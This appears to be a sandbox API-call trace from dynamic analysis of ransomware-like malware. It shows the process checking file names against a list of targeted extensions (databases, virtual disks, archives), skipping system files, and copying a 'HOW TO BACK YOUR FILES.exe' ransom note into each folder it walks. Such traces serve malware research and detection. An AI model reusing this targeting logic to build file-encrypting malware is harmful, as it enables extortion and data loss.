	[0037.215] lstrcmpiW (lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpString2=".lnk") returned 1
	[0037.215] lstrlenW (lpString=".ini") returned 4
	[0037.215] lstrcmpiW (lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpString2=".ini") returned 1
	[0037.215] lstrlenW (lpString=".sys") returned 4
	[0037.215] lstrcmpiW (lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpString2=".sys") returned 1
	[0037.215] lstrlenW (lpString="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9") returned 36
	[0037.215] lstrlenW (lpString="bak") returned 3
	[0037.215] lstrcmpiW (lpString1="6b9", lpString2="bak") returned -1
	[0037.215] lstrlenW (lpString="ba_") returned 3
	[0037.215] lstrcmpiW (lpString1="6b9", lpString2="ba_") returned -1
	[0037.215] lstrlenW (lpString="dbb") returned 3
	[0037.215] lstrcmpiW (lpString1="6b9", lpString2="dbb") returned -1
	[0037.215] lstrlenW (lpString="vmdk") returned 4
	[0037.215] lstrcmpiW (lpString1="a6b9", lpString2="vmdk") returned -1
	[0037.216] lstrlenW (lpString="rar") returned 3
	[0037.216] lstrcmpiW (lpString1="6b9", lpString2="rar") returned -1
	[0037.216] lstrlenW (lpString="zip") returned 3
	[0037.216] lstrcmpiW (lpString1="6b9", lpString2="zip") returned -1
	[0037.216] lstrlenW (lpString="tgz") returned 3
	[0037.216] lstrcmpiW (lpString1="6b9", lpString2="tgz") returned -1
	[0037.216] lstrlenW (lpString="vbox") returned 4
	[0037.216] lstrcmpiW (lpString1="a6b9", lpString2="vbox") returned -1
	[0037.216] lstrlenW (lpString="vdi") returned 3
	[0037.216] lstrcmpiW (lpString1="6b9", lpString2="vdi") returned -1
	[0037.216] lstrlenW (lpString="vhd") returned 3
	[0037.216] lstrcmpiW (lpString1="6b9", lpString2="vhd") returned -1
	[0037.216] lstrlenW (lpString="vhdx") returned 4
	[0037.216] lstrcmpiW (lpString1="a6b9", lpString2="vhdx") returned -1
	[0037.216] lstrlenW (lpString="avhd") returned 4
	[0037.216] lstrcmpiW (lpString1="a6b9", lpString2="avhd") returned -1
	[0037.216] lstrlenW (lpString="db") returned 2
	[0037.216] lstrcmpiW (lpString1="b9", lpString2="db") returned -1
	[0037.216] lstrlenW (lpString="db2") returned 3
	[0037.216] lstrcmpiW (lpString1="6b9", lpString2="db2") returned -1
	[0037.216] lstrlenW (lpString="db3") returned 3
	[0037.216] lstrcmpiW (lpString1="6b9", lpString2="db3") returned -1
	[0037.216] lstrlenW (lpString="dbf") returned 3
	[0037.216] lstrcmpiW (lpString1="6b9", lpString2="dbf") returned -1
	[0037.216] lstrlenW (lpString="mdf") returned 3
	[0037.216] lstrcmpiW (lpString1="6b9", lpString2="mdf") returned -1
	[0037.216] lstrlenW (lpString="mdb") returned 3
	[0037.216] lstrcmpiW (lpString1="6b9", lpString2="mdb") returned -1
	[0037.216] lstrlenW (lpString="sql") returned 3
	[0037.216] lstrcmpiW (lpString1="6b9", lpString2="sql") returned -1
	[0037.216] lstrlenW (lpString="sqlite") returned 6
	[0037.216] lstrcmpiW (lpString1="d3a6b9", lpString2="sqlite") returned -1
	[0037.216] lstrlenW (lpString="sqlite3") returned 7
	[0037.216] lstrcmpiW (lpString1="dd3a6b9", lpString2="sqlite3") returned -1
	[0037.216] lstrlenW (lpString="sqlitedb") returned 8
	[0037.216] lstrcmpiW (lpString1="6dd3a6b9", lpString2="sqlitedb") returned -1
	[0037.216] lstrlenW (lpString="xml") returned 3
	[0037.216] lstrcmpiW (lpString1="6b9", lpString2="xml") returned -1
	[0037.216] lstrlenW (lpString="$er") returned 3
	[0037.216] lstrcmpiW (lpString1="6b9", lpString2="$er") returned 1
	[0037.217] lstrlenW (lpString="4dd") returned 3
	[0037.217] lstrcmpiW (lpString1="6b9", lpString2="4dd") returned 1
	[0037.217] lstrlenW (lpString="4dl") returned 3
	[0037.217] lstrcmpiW (lpString1="6b9", lpString2="4dl") returned 1
	[0037.217] lstrlenW (lpString="^^^") returned 3
	[0037.217] lstrcmpiW (lpString1="6b9", lpString2="^^^") returned 1
	[0037.217] lstrlenW (lpString="abs") returned 3
	[0037.217] lstrcmpiW (lpString1="6b9", lpString2="abs") returned -1
	[0037.217] lstrlenW (lpString="abx") returned 3
	[0037.217] lstrcmpiW (lpString1="6b9", lpString2="abx") returned -1
	[0037.217] lstrlenW (lpString="accdb") returned 5
	[0037.217] lstrcmpiW (lpString1="3a6b9", lpString2="accdb") returned -1
	[0037.217] lstrlenW (lpString="accdc") returned 5
	[0037.217] lstrcmpiW (lpString1="3a6b9", lpString2="accdc") returned -1
	[0037.217] lstrlenW (lpString="accde") returned 5
	[0037.217] lstrcmpiW (lpString1="3a6b9", lpString2="accde") returned -1
	[0037.217] lstrlenW (lpString="accdr") returned 5
	[0037.217] lstrcmpiW (lpString1="3a6b9", lpString2="accdr") returned -1
	[0037.217] lstrlenW (lpString="accdt") returned 5
	[0037.217] lstrcmpiW (lpString1="3a6b9", lpString2="accdt") returned -1
	[0037.217] lstrlenW (lpString="accdw") returned 5
	[0037.217] lstrcmpiW (lpString1="3a6b9", lpString2="accdw") returned -1
	[0037.217] lstrlenW (lpString="accft") returned 5
	[0037.217] lstrcmpiW (lpString1="3a6b9", lpString2="accft") returned -1
	[0037.217] lstrlenW (lpString="adb") returned 3
	[0037.217] lstrcmpiW (lpString1="6b9", lpString2="adb") returned -1
	[0037.217] lstrlenW (lpString="adb") returned 3
	[0037.217] lstrcmpiW (lpString1="6b9", lpString2="adb") returned -1
	[0037.217] lstrlenW (lpString="ade") returned 3
	[0037.217] lstrcmpiW (lpString1="6b9", lpString2="ade") returned -1
	[0037.217] lstrlenW (lpString="adf") returned 3
	[0037.217] lstrcmpiW (lpString1="6b9", lpString2="adf") returned -1
	[0037.217] lstrlenW (lpString="adn") returned 3
	[0037.217] lstrcmpiW (lpString1="6b9", lpString2="adn") returned -1
	[0037.217] lstrlenW (lpString="adp") returned 3
	[0037.217] lstrcmpiW (lpString1="6b9", lpString2="adp") returned -1
	[0037.217] lstrlenW (lpString="alf") returned 3
	[0037.217] lstrcmpiW (lpString1="6b9", lpString2="alf") returned -1
	[0037.218] lstrlenW (lpString="ask") returned 3
	[0037.218] lstrcmpiW (lpString1="6b9", lpString2="ask") returned -1
	[0037.218] lstrlenW (lpString="btr") returned 3
	[0037.218] lstrcmpiW (lpString1="6b9", lpString2="btr") returned -1
	[0037.218] lstrlenW (lpString="cat") returned 3
	[0037.218] lstrcmpiW (lpString1="6b9", lpString2="cat") returned -1
	[0037.218] lstrlenW (lpString="cdb") returned 3
	[0037.218] lstrcmpiW (lpString1="6b9", lpString2="cdb") returned -1
	[0037.218] lstrlenW (lpString="ckp") returned 3
	[0037.218] lstrcmpiW (lpString1="6b9", lpString2="ckp") returned -1
	[0037.218] lstrlenW (lpString="cma") returned 3
	[0037.218] lstrcmpiW (lpString1="6b9", lpString2="cma") returned -1
	[0037.218] lstrlenW (lpString="cpd") returned 3
	[0037.218] lstrcmpiW (lpString1="6b9", lpString2="cpd") returned -1
	[0037.218] lstrlenW (lpString="dacpac") returned 6
	[0037.218] lstrcmpiW (lpString1="d3a6b9", lpString2="dacpac") returned -1
	[0037.218] lstrlenW (lpString="dad") returned 3
	[0037.218] lstrcmpiW (lpString1="6b9", lpString2="dad") returned -1
	[0037.218] lstrlenW (lpString="dadiagrams") returned 10
	[0037.218] lstrcmpiW (lpString1="896dd3a6b9", lpString2="dadiagrams") returned -1
	[0037.218] lstrlenW (lpString="daschema") returned 8
	[0037.218] lstrcmpiW (lpString1="6dd3a6b9", lpString2="daschema") returned -1
	[0037.218] lstrlenW (lpString="db-journal") returned 10
	[0037.218] lstrcmpiW (lpString1="896dd3a6b9", lpString2="db-journal") returned -1
	[0037.218] lstrlenW (lpString="db-shm") returned 6
	[0037.218] lstrcmpiW (lpString1="d3a6b9", lpString2="db-shm") returned -1
	[0037.218] lstrlenW (lpString="db-wal") returned 6
	[0037.218] lstrcmpiW (lpString1="d3a6b9", lpString2="db-wal") returned -1
	[0037.218] lstrlenW (lpString="dbc") returned 3
	[0037.218] lstrcmpiW (lpString1="6b9", lpString2="dbc") returned -1
	[0037.218] lstrlenW (lpString="dbs") returned 3
	[0037.218] lstrcmpiW (lpString1="6b9", lpString2="dbs") returned -1
	[0037.218] lstrlenW (lpString="dbt") returned 3
	[0037.218] lstrcmpiW (lpString1="6b9", lpString2="dbt") returned -1
	[0037.218] lstrlenW (lpString="dbv") returned 3
	[0037.218] lstrcmpiW (lpString1="6b9", lpString2="dbv") returned -1
	[0037.218] lstrlenW (lpString="dbx") returned 3
	[0037.218] lstrcmpiW (lpString1="6b9", lpString2="dbx") returned -1
	[0037.218] lstrlenW (lpString="dcb") returned 3
	[0037.219] lstrcmpiW (lpString1="6b9", lpString2="dcb") returned -1
	[0037.219] lstrcpyW (in: lpString1=0x2d3e612, lpString2="Preferred" | out: lpString1="Preferred") returned="Preferred"
	[0037.219] lstrlenW (lpString="Preferred") returned 9
	[0037.219] lstrlenW (lpString="Apollon865") returned 10
	[0037.219] lstrlenW (lpString=".dll") returned 4
	[0037.219] lstrcmpiW (lpString1="Preferred", lpString2=".dll") returned 1
	[0037.219] lstrlenW (lpString=".lnk") returned 4
	[0037.219] lstrcmpiW (lpString1="Preferred", lpString2=".lnk") returned 1
	[0037.219] lstrlenW (lpString=".ini") returned 4
	[0037.219] lstrcmpiW (lpString1="Preferred", lpString2=".ini") returned 1
	[0037.219] lstrlenW (lpString=".sys") returned 4
	[0037.219] lstrcmpiW (lpString1="Preferred", lpString2=".sys") returned 1
	[0037.219] lstrlenW (lpString="Preferred") returned 9
	[0037.219] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer"
	[0037.219] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0037.219] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0037.219] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer") returned 60
	[0037.219] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer"
	[0037.219] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0037.219] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0037.224] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0037.224] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e4f6b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e4f6b90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0037.224] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.224] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0037.224] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="Quick Launch" | out: lpString1="Quick Launch") returned="Quick Launch"
	[0037.224] SetFileAttributesW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", dwFileAttributes=0x10) returned 1
	[0037.225] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0037.225] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x94) returned 0x599450
	[0037.225] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7ad0
	[0037.225] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96dfdac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Quick Launch", cAlternateFileName="QUICKL~1")) returned 0
	[0037.225] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0037.225] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7af0
	[0037.225] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch"
	[0037.225] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0037.225] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0037.225] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned 73
	[0037.225] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch"
	[0037.225] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0037.225] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0037.231] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0037.231] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e51ccf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e51ccf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0037.231] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.231] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0037.231] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0037.231] lstrlenW (lpString="desktop.ini") returned 11
	[0037.232] lstrlenW (lpString="Apollon865") returned 10
	[0037.232] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0037.232] lstrlenW (lpString=".dll") returned 4
	[0037.232] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0037.232] lstrlenW (lpString=".lnk") returned 4
	[0037.232] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0037.232] lstrlenW (lpString=".ini") returned 4
	[0037.232] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0037.232] lstrlenW (lpString=".sys") returned 4
	[0037.232] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0037.232] lstrlenW (lpString="desktop.ini") returned 11
	[0037.232] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="Shows Desktop.lnk" | out: lpString1="Shows Desktop.lnk") returned="Shows Desktop.lnk"
	[0037.232] lstrlenW (lpString="Shows Desktop.lnk") returned 17
	[0037.232] lstrlenW (lpString="Apollon865") returned 10
	[0037.232] lstrcmpiW (lpString1="esktop.lnk", lpString2="Apollon865") returned 1
	[0037.232] lstrlenW (lpString=".dll") returned 4
	[0037.232] lstrcmpiW (lpString1="Shows Desktop.lnk", lpString2=".dll") returned 1
	[0037.232] lstrlenW (lpString=".lnk") returned 4
	[0037.232] lstrcmpiW (lpString1="Shows Desktop.lnk", lpString2=".lnk") returned 1
	[0037.232] lstrlenW (lpString=".ini") returned 4
	[0037.232] lstrcmpiW (lpString1="Shows Desktop.lnk", lpString2=".ini") returned 1
	[0037.232] lstrlenW (lpString=".sys") returned 4
	[0037.232] lstrcmpiW (lpString1="Shows Desktop.lnk", lpString2=".sys") returned 1
	[0037.232] lstrlenW (lpString="Shows Desktop.lnk") returned 17
	[0037.232] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="User Pinned" | out: lpString1="User Pinned") returned="User Pinned"
	[0037.232] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0037.232] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xac) returned 0x599450
	[0037.232] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7ad0
	[0037.232] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7de6f76b, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e143190, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Window Switcher.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1
	[0037.232] lstrcmpiW (lpString1="Window Switcher.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0037.232] lstrcmpiW (lpString1="Window Switcher.lnk", lpString2="Apollon865.txt.exe") returned 1
	[0037.232] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="Window Switcher.lnk" | out: lpString1="Window Switcher.lnk") returned="Window Switcher.lnk"
	[0037.232] lstrlenW (lpString="Window Switcher.lnk") returned 19
	[0037.233] lstrlenW (lpString="Apollon865") returned 10
	[0037.233] lstrcmpiW (lpString1="itcher.lnk", lpString2="Apollon865") returned 1
	[0037.233] lstrlenW (lpString=".dll") returned 4
	[0037.233] lstrcmpiW (lpString1="Window Switcher.lnk", lpString2=".dll") returned 1
	[0037.233] lstrlenW (lpString=".lnk") returned 4
	[0037.233] lstrcmpiW (lpString1="Window Switcher.lnk", lpString2=".lnk") returned 1
	[0037.233] lstrlenW (lpString=".ini") returned 4
	[0037.233] lstrcmpiW (lpString1="Window Switcher.lnk", lpString2=".ini") returned 1
	[0037.233] lstrlenW (lpString=".sys") returned 4
	[0037.233] lstrcmpiW (lpString1="Window Switcher.lnk", lpString2=".sys") returned 1
	[0037.233] lstrlenW (lpString="Window Switcher.lnk") returned 19
	[0037.233] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned"
	[0037.233] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0037.233] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0037.233] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned 85
	[0037.233] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned"
	[0037.233] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0037.233] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0037.249] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0037.249] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e542e50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e542e50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0037.250] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.250] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0037.250] lstrcpyW (in: lpString1=0x2d3e5fc, lpString2="ImplicitAppShortcuts" | out: lpString1="ImplicitAppShortcuts") returned="ImplicitAppShortcuts"
	[0037.250] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0037.250] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xd6) returned 0x599450
	[0037.250] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7ad0
	[0037.250] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6477260, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x123526f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TaskBar", cAlternateFileName="")) returned 1
	[0037.250] lstrcmpiW (lpString1="TaskBar", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0037.250] lstrcmpiW (lpString1="TaskBar", lpString2="Apollon865.txt.exe") returned 1
	[0037.250] lstrcpyW (in: lpString1=0x2d3e5fc, lpString2="TaskBar" | out: lpString1="TaskBar") returned="TaskBar"
	[0037.250] SetFileAttributesW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", dwFileAttributes=0x10) returned 1
	[0037.250] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0037.250] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xbc) returned 0x599530
	[0037.250] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7c50
	[0037.250] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6477260, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x123526f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TaskBar", cAlternateFileName="")) returned 0
	[0037.250] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0037.250] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7af0
	[0037.251] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar"
	[0037.251] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599530 | out: hHeap=0x580000) returned 1
	[0037.251] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0037.251] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned 93
	[0037.251] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar"
	[0037.251] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0037.251] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0037.257] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
